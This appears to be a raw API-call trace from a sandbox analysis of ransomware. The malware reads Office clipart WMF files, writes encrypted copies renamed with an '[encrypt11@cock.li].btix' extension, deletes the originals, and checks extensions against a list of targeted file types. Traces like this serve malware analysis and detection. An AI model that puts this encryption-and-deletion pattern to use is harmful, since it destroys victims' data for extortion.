(lpString="HH01242_.WMF") returned 12 [0147.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.963] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=7340) returned 1 [0147.963] CloseHandle (hObject=0x38c) returned 1 [0147.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x220 [0147.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.964] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.964] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.964] GetLastError () returned 0x0 [0147.964] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1cac, lpOverlapped=0x0) returned 1 [0148.162] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1cb0, lpOverlapped=0x0) returned 1 [0148.163] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.163] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.163] SetEndOfFile (hFile=0x390) returned 1 [0148.163] CloseHandle (hObject=0x390) returned 1 [0148.163] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.163] SetEndOfFile (hFile=0x38c) returned 1 [0148.164] CloseHandle (hObject=0x38c) returned 1 [0148.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01242_.wmf")) returned 1 [0148.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.164] lstrlenW (lpString=".doc") returned 4 [0148.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString=".docx") returned 5 [0148.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.165] lstrlenW (lpString=".pdf") returned 4 [0148.165] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString=".xls") returned 4 [0148.165] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.165] lstrlenW (lpString=".xlsx") returned 5 [0148.165] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.165] lstrlenW (lpString=".ppt") returned 4 [0148.165] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.165] lstrlenW (lpString=".zip") returned 4 [0148.165] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.165] lstrlenW (lpString=".rar") returned 4 [0148.165] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString=".bz2") returned 4 [0148.165] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString=".7z") returned 3 [0148.165] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.165] lstrlenW (lpString=".dbf") returned 4 [0148.165] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.165] lstrlenW (lpString=".1cd") returned 4 [0148.165] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.165] lstrlenW (lpString=".jpg") returned 4 [0148.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.165] lstrlenW (lpString=".doc") returned 4 [0148.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.165] lstrlenW (lpString=".docx") returned 5 [0148.166] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.166] lstrlenW (lpString=".pdf") returned 4 [0148.166] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.166] lstrlenW (lpString=".xls") returned 4 [0148.166] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.166] lstrlenW (lpString=".xlsx") returned 5 [0148.166] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.166] lstrlenW (lpString=".ppt") returned 4 [0148.166] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.166] lstrlenW (lpString=".zip") returned 4 [0148.166] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.166] lstrlenW (lpString=".rar") returned 4 [0148.166] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.166] lstrlenW (lpString=".bz2") returned 4 [0148.166] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.166] lstrlenW (lpString=".7z") returned 3 [0148.166] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.166] lstrlenW (lpString=".dbf") returned 4 [0148.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.166] lstrlenW (lpString=".1cd") returned 4 [0148.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01242_.WMF") returned 68 [0148.166] lstrlenW (lpString=".jpg") returned 4 [0148.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.166] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.166] lstrlenW (lpString="HM00116_.WMF") returned 12 [0148.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.167] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=15852) returned 1 [0148.167] CloseHandle (hObject=0x38c) returned 1 [0148.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0148.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.167] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.167] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.168] GetLastError () returned 0x0 [0148.168] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0148.169] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0148.170] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.170] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.170] SetEndOfFile (hFile=0x390) returned 1 [0148.170] CloseHandle (hObject=0x390) returned 1 [0148.170] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.170] SetEndOfFile (hFile=0x38c) returned 1 [0148.171] CloseHandle (hObject=0x38c) returned 1 [0148.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0148.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.171] lstrlenW (lpString=".doc") returned 4 [0148.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.171] lstrlenW (lpString=".docx") returned 5 [0148.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.171] lstrlenW (lpString=".pdf") returned 4 [0148.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.171] lstrlenW (lpString=".xls") returned 4 [0148.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.171] lstrlenW (lpString=".xlsx") returned 5 [0148.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.172] lstrlenW (lpString=".ppt") returned 4 [0148.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.172] lstrlenW (lpString=".zip") returned 4 [0148.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.172] lstrlenW (lpString=".rar") returned 4 [0148.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.172] lstrlenW (lpString=".bz2") returned 4 [0148.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.172] lstrlenW (lpString=".7z") returned 3 [0148.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.172] lstrlenW (lpString=".dbf") returned 4 [0148.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.172] lstrlenW (lpString=".1cd") returned 4 [0148.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.172] lstrlenW (lpString=".jpg") returned 4 [0148.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.172] lstrlenW (lpString=".doc") returned 4 [0148.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.172] lstrlenW (lpString=".docx") returned 5 [0148.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.172] lstrlenW (lpString=".pdf") returned 4 [0148.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.172] lstrlenW (lpString=".xls") returned 4 [0148.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.172] lstrlenW (lpString=".xlsx") returned 5 [0148.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.172] lstrlenW (lpString=".ppt") returned 4 [0148.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.173] lstrlenW (lpString=".zip") returned 4 [0148.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.173] lstrlenW (lpString=".rar") returned 4 [0148.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.173] lstrlenW (lpString=".bz2") returned 4 [0148.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.173] lstrlenW (lpString=".7z") returned 3 [0148.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.173] lstrlenW (lpString=".dbf") returned 4 [0148.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.173] lstrlenW (lpString=".1cd") returned 4 [0148.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0148.173] lstrlenW (lpString=".jpg") returned 4 [0148.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.173] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.173] lstrlenW (lpString="HM00172_.WMF") returned 12 [0148.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.173] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=2832) returned 1 [0148.173] CloseHandle (hObject=0x38c) returned 1 [0148.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0148.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.174] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.174] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0148.174] GetLastError () returned 0x0 [0148.174] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xb10, lpOverlapped=0x0) returned 1 [0148.175] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xb20, lpOverlapped=0x0) returned 1 [0148.176] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.176] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0148.176] SetEndOfFile (hFile=0x390) returned 1 [0148.176] CloseHandle (hObject=0x390) returned 1 [0148.176] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.176] SetEndOfFile (hFile=0x38c) returned 1 [0148.177] CloseHandle (hObject=0x38c) returned 1 [0148.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0148.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0148.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.178] lstrlenW (lpString=".doc") returned 4 [0148.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.178] lstrlenW (lpString=".docx") returned 5 [0148.178] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.178] lstrlenW (lpString=".pdf") returned 4 [0148.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.178] lstrlenW (lpString=".xls") returned 4 [0148.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.178] lstrlenW (lpString=".xlsx") returned 5 [0148.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.178] lstrlenW (lpString=".ppt") returned 4 [0148.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.178] lstrlenW (lpString=".zip") returned 4 [0148.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.179] lstrlenW (lpString=".rar") returned 4 [0148.179] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.179] lstrlenW (lpString=".bz2") returned 4 [0148.179] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.179] lstrlenW (lpString=".7z") returned 3 [0148.179] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.179] lstrlenW (lpString=".dbf") returned 4 [0148.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.179] lstrlenW (lpString=".1cd") returned 4 [0148.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.179] lstrlenW (lpString=".jpg") returned 4 [0148.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.179] lstrlenW (lpString=".doc") returned 4 [0148.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.179] lstrlenW (lpString=".docx") returned 5 [0148.179] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0148.179] lstrlenW (lpString=".pdf") returned 4 [0148.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.179] lstrlenW (lpString=".xls") returned 4 [0148.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.179] lstrlenW (lpString=".xlsx") returned 5 [0148.179] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0148.179] lstrlenW (lpString=".ppt") returned 4 [0148.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.179] lstrlenW (lpString=".zip") returned 4 [0148.179] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.179] lstrlenW (lpString=".rar") returned 4 [0148.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.180] lstrlenW (lpString=".bz2") returned 4 [0148.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.180] lstrlenW (lpString=".7z") returned 3 [0148.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.180] lstrlenW (lpString=".dbf") returned 4 [0148.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.180] lstrlenW (lpString=".1cd") returned 4 [0148.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0148.180] lstrlenW (lpString=".jpg") returned 4 [0148.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.180] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.180] lstrlenW (lpString="HM00426_.WMF") returned 12 [0148.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0148.180] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=68776) returned 1 